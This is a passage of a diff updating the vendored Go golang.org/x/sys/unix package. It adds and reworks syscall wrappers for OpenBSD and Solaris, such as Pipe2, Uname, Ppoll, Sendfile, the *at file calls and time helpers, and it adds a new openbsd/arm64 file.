-+ n := uintptr(SizeofUvmexp)
-+ var u Uvmexp
-+ if err := sysctl(mib, (*byte)(unsafe.Pointer(&u)), &n, nil, 0); err != nil {
-+ return nil, err
-+ }
-+ if n != SizeofUvmexp {
-+ return nil, EIO
-+ }
-+ return &u, nil
-+}
-+
- func Pipe(p []int) (err error) {
-+ return Pipe2(p, 0)
-+}
-+
-+//sysnb pipe2(p *[2]_C_int, flags int) (err error)
-+func Pipe2(p []int, flags int) error {
- if len(p) != 2 {
- return EINVAL
- }
- var pp [2]_C_int
-- err = pipe(&pp)
-+ err := pipe2(&pp, flags)
- p[0] = int(pp[0])
- p[1] = int(pp[1])
-- return
-+ return err
- }
-
--//sys getdents(fd int, buf []byte) (n int, err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- return getdents(fd, buf)
-+ n, err = Getdents(fd, buf)
-+ if err != nil || basep == nil {
-+ return
-+ }
-+
-+ var off int64
-+ off, err = Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ *basep = ^uintptr(0)
-+ return
-+ }
-+ *basep = uintptr(off)
-+ if unsafe.Sizeof(*basep) == 8 {
-+ return
-+ }
-+ if off>>32 != 0 {
-+ // We can't stuff the offset back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO was allowed by getdirentries.
-+ err = EIO
-+ }
-+ return
-+}
-+
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
- }
-
- // TODO
-@@ -102,6 +158,70 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- return
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+//sys ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error)
-+
-+func Ppoll(fds []PollFd, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ if len(fds) == 0 {
-+ return ppoll(nil, 0, timeout, sigmask)
-+ }
-+ return ppoll(&fds[0], len(fds), timeout, sigmask)
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
-+}
-+
- /*
- * Exposed directly
- */
-@@ -115,14 +235,19 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-+//sys Dup3(from int, to int, flags int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatfs(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-@@ -135,6 +260,7 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sysnb Getppid() (ppid int)
- //sys Getpriority(which int, who int) (prio int, err error)
- //sysnb Getrlimit(which int, lim *Rlimit) (err error)
-+//sysnb Getrtable() (rtable int, err error)
- //sysnb Getrusage(who int, rusage *Rusage) (err error)
- //sysnb Getsid(pid int) (sid int, err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
-@@ -144,23 +270,30 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mkfifoat(dirfd int, path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error)
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Readlinkat(dirfd int, path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -172,16 +305,19 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
- //sysnb Setrlimit(which int, lim *Rlimit) (err error)
-+//sysnb Setrtable(rtable int) (err error)
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -204,15 +340,10 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // clock_settime
- // closefrom
- // execve
--// faccessat
--// fchmodat
--// fchownat
--// fcntl
- // fhopen
- // fhstat
- // fhstatfs
- // fork
--// fstatat
- // futimens
- // getfh
- // getgid
-@@ -220,20 +351,14 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // getlogin
- // getresgid
- // getresuid
--// getrtable
- // getthrid
--// ioctl
- // ktrace
- // lfs_bmapv
- // lfs_markv
- // lfs_segclean
- // lfs_segwait
--// linkat
- // mincore
- // minherit
--// mkdirat
--// mkfifoat
--// mknodat
- // mount
- // mquery
- // msgctl
-@@ -242,13 +367,10 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // msgsnd
- // nfssvc
- // nnpfspioctl
--// openat
--// poll
- // preadv
- // profil
- // pwritev
- // quotactl
--// readlinkat
- // readv
- // reboot
- // renameat
-@@ -258,7 +380,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // semop
- // setgroups
- // setitimer
--// setrtable
- // setsockopt
- // shmat
- // shmctl
-@@ -270,13 +391,11 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // sigprocmask
- // sigreturn
- // sigsuspend
--// symlinkat
- // sysarch
- // syscall
- // threxit
- // thrsigdivert
- // thrsleep
- // thrwakeup
--// unlinkat
- // vfork
- // writev
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-index a66ddc59..42b5a0e5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_386.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/386 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-index 0776c1fa..6ea4b488 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_amd64.go
-@@ -6,21 +6,12 @@
-
- package unix
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = nsec / 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -37,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/amd64 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-index 14ddaf3f..1c3d26fa 100644
---- a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm.go
-@@ -6,23 +6,12 @@
-
- package unix
-
--import "syscall"
--
--func Getpagesize() int { return syscall.Getpagesize() }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int64(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -39,6 +28,14 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/arm the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
-new file mode 100644
-index 00000000..a8c458cb
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_arm64.go
-@@ -0,0 +1,41 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build arm64,openbsd
-+
-+package unix
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
-+}
-+
-+func SetKevent(k *Kevent_t, fd, mode, flags int) {
-+ k.Ident = uint64(fd)
-+ k.Filter = int16(mode)
-+ k.Flags = uint16(flags)
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint64(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of openbsd/amd64 the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go
-index 0d4e5c4e..0e2a696a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_solaris.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go
-@@ -13,7 +13,6 @@
- package unix
-
- import (
-- "sync/atomic"
- "syscall"
- "unsafe"
- )
-@@ -24,6 +23,7 @@ type syscallFunc uintptr
- func rawSysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
- func sysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Family uint16
- Index uint16
-@@ -35,15 +35,6 @@ type SockaddrDatalink struct {
- raw RawSockaddrDatalink
- }
-
--func clen(n []byte) int {
-- for i := 0; i < len(n); i++ {
-- if n[i] == 0 {
-- return i
-- }
-- }
-- return len(n)
--}
--
- func direntIno(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
- }
-@@ -137,7 +128,19 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- if err = getsockname(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ return "", err
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
- const ImplementsGetwd = true
-@@ -167,7 +170,7 @@ func Getwd() (wd string, err error) {
-
- func Getgroups() (gids []int, err error) {
- n, err := getgroups(0, nil)
-- // Check for error and sanity check group count. Newer versions of
-+ // Check for error and sanity check group count. Newer versions of
- // Solaris allow up to 1024 (NGROUPS_MAX).
- if n < 0 || n > 1024 {
- if err != nil {
-@@ -202,6 +205,7 @@ func Setgroups(gids []int) (err error) {
- return setgroups(len(a), &a[0])
- }
-
-+// ReadDirent reads directory entries from fd and writes them into buf.
- func ReadDirent(fd int, buf []byte) (n int, err error) {
- // Final argument is (basep *uintptr) and the syscall doesn't take nil.
- // TODO(rsc): Can we use a single global basep for all calls?
-@@ -325,6 +329,16 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
-
- //sys fcntl(fd int, cmd int, arg int) (val int, err error)
-
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ valptr, _, errno := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(arg), 0, 0, 0)
-+ var err error
-+ if errno != 0 {
-+ err = errno
-+ }
-+ return int(valptr), err
-+}
-+
- // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
- func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(unsafe.Pointer(lk)), 0, 0, 0)
-@@ -351,7 +365,7 @@ func Futimesat(dirfd int, path string, tv []Timeval) error {
- }
-
- // Solaris doesn't have an futimes function because it allows NULL to be
--// specified as the path for futimesat. However, Go doesn't like
-+// specified as the path for futimesat. However, Go doesn't like
- // NULL-style string interfaces, so this simple wrapper is provided.
- func Futimes(fd int, tv []Timeval) error {
- if tv == nil {
-@@ -363,7 +377,7 @@ func Futimes(fd int, tv []Timeval) error {
- return futimesat(fd, nil, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_UNIX:
- pp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))
-@@ -377,7 +391,7 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- for n < len(pp.Path) && pp.Path[n] != 0 {
- n++
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
-@@ -414,7 +428,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- if nfd == -1 {
- return
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -451,7 +465,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- oobn = int(msg.Accrightslen)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -515,50 +529,54 @@ func Acct(path string) (err error) {
- return acct(pathp)
- }
-
--/*
-- * Expose the ioctl function
-- */
-+//sys __makedev(version int, major uint, minor uint) (val uint64)
-
--//sys ioctl(fd int, req uint, arg uintptr) (err error)
--
--func IoctlSetInt(fd int, req uint, value int) (err error) {
-- return ioctl(fd, req, uintptr(value))
-+func Mkdev(major, minor uint32) uint64 {
-+ return __makedev(NEWDEV, uint(major), uint(minor))
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) (err error) {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+//sys __major(version int, dev uint64) (val uint)
-+
-+func Major(dev uint64) uint32 {
-+ return uint32(__major(NEWDEV, dev))
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) (err error) {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+//sys __minor(version int, dev uint64) (val uint)
-+
-+func Minor(dev uint64) uint32 {
-+ return uint32(__minor(NEWDEV, dev))
- }
-
-+/*
-+ * Expose the ioctl function
-+ */
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
- func IoctlSetTermio(fd int, req uint, value *Termio) (err error) {
- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
- }
-
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
--}
--
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-+func IoctlGetTermio(fd int, req uint) (*Termio, error) {
-+ var value Termio
- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
- return &value, err
- }
-
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
- }
-
--func IoctlGetTermio(fd int, req uint) (*Termio, error) {
-- var value Termio
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
- }
-
- /*
-@@ -575,15 +593,17 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(oldfd int, newfd int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
- //sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Fdatasync(fd int) (err error)
--//sys Flock(fd int, how int) (err error)
-+//sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatvfs(fd int, vfsstat *Statvfs_t) (err error)
- //sys Getdents(fd int, buf []byte, basep *uintptr) (n int, err error)
- //sysnb Getgid() (gid int)
-@@ -613,6 +633,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Mlock(b []byte) (err error)
- //sys Mlockall(flags int) (err error)
- //sys Mprotect(b []byte, prot int) (err error)
-+//sys Msync(b []byte, flags int) (err error)
- //sys Munlock(b []byte) (err error)
- //sys Munlockall() (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-@@ -628,6 +649,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = lseek
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -659,6 +681,7 @@ func IoctlGetTermio(fd int, req uint) (*Termio, error) {
- //sys connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) = libsocket.__xnet_connect
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
- //sys munmap(addr uintptr, length uintptr) (err error)
-+//sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = libsendfile.sendfile
- //sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) = libsocket.__xnet_sendto
- //sys socket(domain int, typ int, proto int) (fd int, err error) = libsocket.__xnet_socket
- //sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) = libsocket.__xnet_socketpair
-@@ -699,18 +722,3 @@ func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, e
- func Munmap(b []byte) (err error) {
- return mapper.Munmap(b)
- }
--
--//sys sysconf(name int) (n int64, err error)
--
--// pageSize caches the value of Getpagesize, since it can't change
--// once the system is booted.
--var pageSize int64 // accessed atomically
--
--func Getpagesize() int {
-- n := atomic.LoadInt64(&pageSize)
-- if n == 0 {
-- n, _ = sysconf(_SC_PAGESIZE)
-- atomic.StoreInt64(&pageSize, n)
-- }
-- return int(n)
--}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go b/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-index 5aff62c3..b22a34d7 100644
---- a/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_solaris_amd64.go
-@@ -6,30 +6,22 @@
-
- package unix
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func (iov *Iovec) SetLen(length int) {
- iov.Len = uint64(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- // TODO(aram): implement this, see issue 5847.
-- panic("unimplemented")
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix.go b/vendor/golang.org/x/sys/unix/syscall_unix.go
-index 3ed8a91f..8f710d01 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix.go
-@@ -2,12 +2,13 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
- import (
-- "runtime"
-+ "bytes"
-+ "sort"
- "sync"
- "syscall"
- "unsafe"
-@@ -19,13 +20,6 @@ var (
- Stderr = 2
- )
